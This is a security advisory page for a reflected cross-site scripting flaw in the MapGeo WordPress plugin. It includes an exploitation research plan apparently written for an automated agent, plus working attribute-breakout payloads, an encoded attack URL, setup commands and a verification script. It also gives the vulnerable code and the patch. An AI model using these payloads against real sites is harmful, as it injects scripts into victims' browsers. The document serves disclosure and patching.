CVE-2025-15345

MapGeo - Interactive Geo Maps <= 1.6.27 - Reflected Cross-Site Scripting via 'map' Parameter

mediumImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
1.6.28
Patched in
1d
Time to patch

Description

The MapGeo – Interactive Geo Maps plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'map' parameter in the display-map shortcode in all versions up to, and including, 1.6.27 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.6.27
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected plugininteractive-geo-maps

What Changed in the Fix

Changes introduced in v1.6.28

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-15345**, a reflected Cross-Site Scripting (XSS) vulnerability in the **MapGeo - Interactive Geo Maps** plugin for WordPress. ### 1. Vulnerability Summary * **Vulnerability:** Reflected Cross-Site Scripting (XSS) * **Location:** `src/Plugin/Map.…

Show full research plan

This exploitation research plan targets CVE-2025-15345, a reflected Cross-Site Scripting (XSS) vulnerability in the MapGeo - Interactive Geo Maps plugin for WordPress.

1. Vulnerability Summary

  • Vulnerability: Reflected Cross-Site Scripting (XSS)
  • Location: src/Plugin/Map.php, within the setup() method.
  • Cause: The plugin allows the map parameter from the URL ($_GET['map']) to override the map configuration if the display-map shortcode includes a demo attribute. While the input is passed through sanitize_text_field(), this function only removes HTML tags and does not escape quotes. If the resulting value is reflected into an HTML attribute or a JavaScript context without proper output escaping (e.g., esc_attr() or wp_json_encode()), an attacker can break out and execute arbitrary scripts.

2. Attack Vector Analysis

  • Endpoint: Any public post or page containing the [display-map] shortcode with the demo attribute enabled.
  • Vulnerable Parameter: map (GET parameter).
  • Authentication: Unauthenticated.
  • Precondition: A page must exist with a shortcode like [display-map id="123" demo="true"]. The id must refer to a valid Map (igmap post type).

3. Code Flow

  1. A user visits a page where the [display-map] shortcode is rendered.
  2. The shortcode callback instantiates the Saltus\WP\Plugin\Saltus\InteractiveMaps\Plugin\Map class and calls setup( $atts ).
  3. In src/Plugin/Map.php:
    • Line 48: The $id is extracted from $atts['id'].
    • Line 75: The code checks if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ).
    • Line 76: If true, $main_meta['map'] is set to sanitize_text_field( $_GET['map'] ).
  4. sanitize_text_field() removes <script> tags but leaves double quotes (") and event handlers (like onmouseover) intact.
  5. The $main_meta (containing the malicious map value) is passed to prepare_meta().
  6. The value is eventually rendered into the page's HTML (likely as a data-map attribute or within a <script> block containing map configuration), where the lack of output escaping leads to XSS.

4. Nonce Acquisition Strategy

This is a Reflected XSS vulnerability. Since the payload is delivered via a GET parameter to a standard WordPress page rendering a shortcode, no nonce is required for exploitation.

5. Exploitation Strategy

The goal is to provide a payload that breaks out of an HTML attribute and executes JavaScript.

  1. Payload Selection: Since sanitize_text_field is used, we avoid tags. We use an attribute breakout.

    • Payload: worldLow" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" x="
    • Mechanism: This closes the intended attribute, adds an onmouseover handler, and stretches the element to cover the entire viewport to ensure the script triggers immediately on any mouse movement.
  2. HTTP Request:

    • Method: GET
    • URL: http://localhost:8080/{PAGE_PATH}/?map=worldLow%22+onmouseover%3D%22alert(document.domain)%22+style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3B%22+x%3D%22
    • Headers: Standard browser headers.

6. Test Data Setup

The automated agent must perform these steps via wp-cli:

  1. Create a Map:

    wp post create --post_type=igmap --post_title="Exploit Map" --post_status=publish
    

    Extract the resulting post ID (e.g., 123).

  2. Create a Page with the Shortcode:

    wp post create --post_type=page --post_title="Vulnerable Page" --post_status=publish --post_content='[display-map id="123" demo="true"]'
    

    Extract the resulting page URL/path (e.g., /vulnerable-page/).

7. Expected Results

  • The HTTP response will contain the injected string: worldLow" onmouseover="alert(document.domain)".
  • The payload will appear inside an HTML tag (likely a <div> or <script> tag depending on the specific rendering path) without the quotes being escaped to &quot;.
  • When viewed in a browser, moving the mouse will trigger the alert.

8. Verification Steps

  1. Check Reflection: Use the http_request tool to fetch the page with the payload and grep for the unescaped breakout:
    const response = await http_request.get("http://localhost:8080/vulnerable-page/?map=worldLow%22+onmouseover%3D%22alert(1)%22");
    if (response.body.includes('map="worldLow" onmouseover="alert(1)"')) {
        console.log("Vulnerability Confirmed: Payload reflected unescaped.");
    }
    
  2. Confirm Lack of Escaping: Verify that the double quote before onmouseover is not converted to &quot;.

9. Alternative Approaches

If the map parameter is reflected inside a JavaScript block (e.g., in a JSON object) rather than an HTML attribute:

  • Payload: worldLow"-alert(document.domain)-"
  • Expected Reflection: ... "map":"worldLow"-alert(document.domain)-"" ...
  • This would execute the alert if the surrounding JavaScript is parsed by the browser.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MapGeo plugin for WordPress is vulnerable to reflected Cross-Site Scripting (XSS) via the 'map' GET parameter. When a shortcode is configured with the 'demo' attribute, the plugin accepts an unvalidated map name from the URL, which is reflected into the page without proper attribute escaping, allowing attackers to execute arbitrary JavaScript.

Vulnerable Code

// src/Plugin/Map.php line 75
// in case we use this shortcode for demo purposes, the map that will render might ne in the URL
if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ) {
    $main_meta['map'] = sanitize_text_field( $_GET['map'] );
}

Security Fix

--- a/src/Plugin/Map.php
+++ b/src/Plugin/Map.php
@@ -73,7 +73,7 @@
         }
         // in case we use this shortcode for demo purposes, the map that will render might ne in the URL
         if ( isset( $atts['demo'] ) && isset( $_GET['map'] ) ) {
-            $main_meta['map'] = sanitize_text_field( $_GET['map'] );
+            $main_meta['map'] = preg_replace( '/[^a-zA-Z0-9_\/]/', '', $_GET['map'] );
         }
         $meta = $this->prepare_meta( $main_meta, $id );

Exploit Outline

To exploit this vulnerability, an attacker identifies a page using the [display-map] shortcode with the 'demo' attribute set to true. The attacker then crafts a malicious URL targeting that page, appending a 'map' GET parameter containing a payload designed to break out of an HTML attribute (e.g., worldLow" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;" x="). Because the plugin uses sanitize_text_field() which preserves double quotes and does not perform sufficient output escaping, the payload is rendered into the HTML source as an active event handler. When a victim visits the link and moves their mouse over the map area, the injected script executes in their browser context. No authentication is required for this attack.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.